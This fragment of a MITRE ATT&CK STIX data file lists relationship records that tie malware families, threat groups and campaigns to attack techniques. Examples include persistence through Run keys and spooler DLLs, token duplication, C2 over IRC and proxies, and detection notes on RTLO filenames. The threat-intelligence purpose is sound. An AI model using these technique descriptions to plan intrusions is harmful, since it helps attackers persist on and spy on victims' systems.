"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2b16958e-8c41-4342-87d8-f98b42548724", "created": "2023-09-29T21:08:44.938Z", "revoked": false, "external_references": [{"source_name": "Binary Defense Emotes Wi-Fi Spreader", "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.", "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T21:08:44.938Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has the ability to duplicate the user\u2019s token.(Citation: Binary Defense Emotes Wi-Fi Spreader)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b196fe7-93e1-4575-8818-578305fc1fae", "type": "relationship", "created": "2022-03-26T13:13:20.534Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}], "modified": "2022-03-26T13:13:20.534Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has enumerated files and folders on all mounted drives.(Citation: CrowdStrike Ryuk January 2019)\t", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b1fb532-84e3-4f77-962c-038c798d239e", "type": "relationship", "created": "2019-06-28T14:34:59.118Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "source_name": "ESET LightNeuron May 2019"}], "modified": "2019-07-16T17:12:00.606Z", "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically exfiltrate files under a specified directory.(Citation: ESET LightNeuron May 2019)", "relationship_type": "uses", "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b2026c2-eb71-4c78-825d-5c4d0a747741", "type": "relationship", "created": "2019-06-13T19:12:07.305Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", "url": "http://blog.morphisec.com/security-alert-fin8-is-back", "source_name": "Morphisec ShellTea June 2019"}], "modified": "2020-03-18T20:35:29.673Z", "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather user names.(Citation: Morphisec ShellTea June 2019)", "relationship_type": "uses", "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b26c652-7f0e-41f1-810a-7e6c24f2bfdb", "type": "relationship", "created": "2019-06-14T16:45:33.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", "source_name": "Rapid7 KeyBoy Jun 2013"}], "modified": "2019-06-30T22:48:21.827Z", "description": "[KeyBoy](https://attack.mitre.org/software/S0387) installs a service pointing to a malicious DLL dropped to disk.(Citation: Rapid7 KeyBoy Jun 2013)", "relationship_type": "uses", "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b2ccd03-b6ad-4125-a05d-851ebf353bb5", "type": "relationship", "created": "2019-04-24T20:48:39.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}], "modified": "2020-03-20T02:17:36.997Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) has command line access.(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b2cdb6b-c23c-4792-8cfb-8c4d9279a186", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye admin@338", "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}], "modified": "2020-03-17T00:28:19.707Z", "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using HTTP or HTTPS.(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b2e0b6e-10ac-42c0-8d77-3ffc9cc654a7", "type": "relationship", "created": "2022-01-05T22:19:18.366Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Konni Aug 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "description": "Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}], "modified": "2022-01-05T22:19:18.366Z", "description": "[KONNI](https://attack.mitre.org/software/S0356) has stored collected information and discovered processes in a tmp file.(Citation: Malwarebytes Konni Aug 2021)", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b33ca7e-3b33-44db-9479-1bba85e76902", "type": "relationship", "created": "2020-03-16T16:06:08.420Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-16T16:06:08.420Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b364611-0df2-4f12-9122-089ec49ec2e6", "type": "relationship", "created": "2021-11-30T20:02:19.628Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "modified": "2021-11-30T20:02:19.628Z", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can drop itself in <code>C:\\Windows\\System32\\spool\\prtprocs\\x64\\winprint.dll</code> to be loaded automatically by the spoolsv Windows service.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b36db33-4f97-4228-bcca-4f453d1bd533", "type": "relationship", "created": "2020-02-04T13:42:40.694Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://support.microsoft.com/kb/2962486", "description": "Microsoft. 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(2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-13T19:57:39.721Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) has established persistence via the `Software\\Microsoft\\Windows NT\\CurrentVersion\\Run` registry key and by creating a .lnk shortcut file in the Windows startup folder.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b454322-5ad5-449f-86c9-092867acd51c", "type": "relationship", "created": "2019-09-16T19:41:10.145Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Security Intelligence More Eggs Aug 2019", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}], "modified": "2020-03-30T03:00:07.221Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used an RC4-based encryption method for its C2 communications.(Citation: Security Intelligence More Eggs Aug 2019)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Remsec IOCs", "description": "Symantec Security Response. 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It also securely removes itself after collecting and exfiltrating data.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2b4b6861-7143-4155-aaac-60213a314abd", "created": "2022-10-13T14:46:34.712Z", "revoked": false, "external_references": [{"source_name": "ESET Operation Spalax Jan 2021", "description": "M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.", "url": "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T14:46:34.712Z", "description": "For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used Nullsoft Scriptable Install System (NSIS) scripts to install malware.(Citation: ESET Operation Spalax Jan 2021)", "relationship_type": "uses", "source_ref": "campaign--4c840263-bbda-440d-a22b-674679ddebf1", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b4bd264-4c8b-4303-9c54-113284c9e9a0", "type": "relationship", "created": "2021-09-30T13:20:52.078Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT QakBot April 2021", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}], "modified": "2021-10-12T18:16:40.808Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can identify whether it has been run previously on a host by checking for a specified folder.(Citation: ATT QakBot April 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b57191c-74f2-4e65-9383-75d3c4c7ac4b", "type": "relationship", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.866Z", "description": "Monitor for common formats of RTLO characters within filenames such as \\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2b5965fe-b178-4c03-91af-942491c79302", "created": "2020-05-13T13:58:12.493Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.648Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has installed [TrickBot](https://attack.mitre.org/software/S0266) as a service named ControlServiceA in order to establish persistence.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021) ", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2b5af448-59a1-4888-a05f-aee6105872a5", "created": "2020-03-17T01:49:09.432Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}, {"source_name": "Unit 42 Magic Hound Feb 2017", "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-03T21:50:43.287Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used IRC for C2.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Phosphorus November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b6195a4-72f8-4d31-9824-a7c8a7018134", "type": "relationship", "created": "2021-01-13T21:54:29.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Pawn Storm Dec 2020", "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}], "modified": "2021-04-19T21:12:35.730Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has routed traffic over [Tor](https://attack.mitre.org/software/S0183) and VPN servers to obfuscate their activities.(Citation: TrendMicro Pawn Storm Dec 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2b6b93eb-6664-4a70-82a9-e56a416b9e61", "created": "2022-09-15T17:29:22.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-05T15:57:20.583Z", "description": "During [CostaRicto](https://attack.mitre.org/campaigns/C0004), the threat actors used a layer of proxies to manage C2 communications.(Citation: BlackBerry CostaRicto November 2020) ", "relationship_type": "uses", "source_ref": "campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Alienvault Sykipot DOD Smart Cards", "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. 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Retrieved May 13, 2020."}], "modified": "2020-05-14T15:14:33.527Z", "description": "[DustySky](https://attack.mitre.org/software/S0062) lists all installed software for the infected machine.(Citation: Kaspersky MoleRATs April 2019)", "relationship_type": "uses", "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2b91534d-4687-457b-bcb0-96be9357fa6d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", "description": "Falcone, R., et al. (2018, July 27). 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kevin](https://attack.mitre.org/software/S1020) can enumerate the OS version and hostname of a targeted machine.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-15T13:07:05.688Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ba17ab3-f9ae-4052-a7c7-b6d0e10b8b96", "type": "relationship", "created": "2020-03-02T14:27:49.482Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-02T14:27:49.482Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2ba344c1-aa24-4566-9df0-2556363fe8eb", "type": "relationship", "created": "2022-03-15T19:56:31.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. 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Retrieved October 9, 2020."}], "modified": "2020-11-10T16:24:47.455Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used SMB to drop Cobalt Strike Beacon on a domain controller for lateral movement.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk's Return October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2bb7ed69-8f59-47f3-8d86-f1c1202c7629", "created": "2022-07-18T20:16:08.155Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. 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Retrieved September 29, 2021."}], "modified": "2021-09-29T15:41:18.411Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has used the <code>netstat -naop tcp</code> command to display TCP connections on a victim's machine.(Citation: Kaspersky Andariel Ransomware June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2bb931c2-d3ae-4956-aba7-6e42c46cdc5a", "type": "relationship", "created": "2020-03-27T21:32:21.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T21:32:21.863Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2bbcc7da-f535-4974-bc08-4edb5a235828", "type": "relationship", "created": "2020-10-02T17:05:43.684Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T17:05:43.684Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f", "target_ref": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2bbf8a2c-13e9-4fd8-87ba-fcaa63f65ad2", "type": "relationship", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.835Z", "description": "Monitor executed commands and arguments that may abuse authentication packages to execute DLLs when the system boots.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2bc01152-d964-4d53-86bd-a35e56200379", "created": "2024-03-13T20:31:32.547Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. 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(2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": 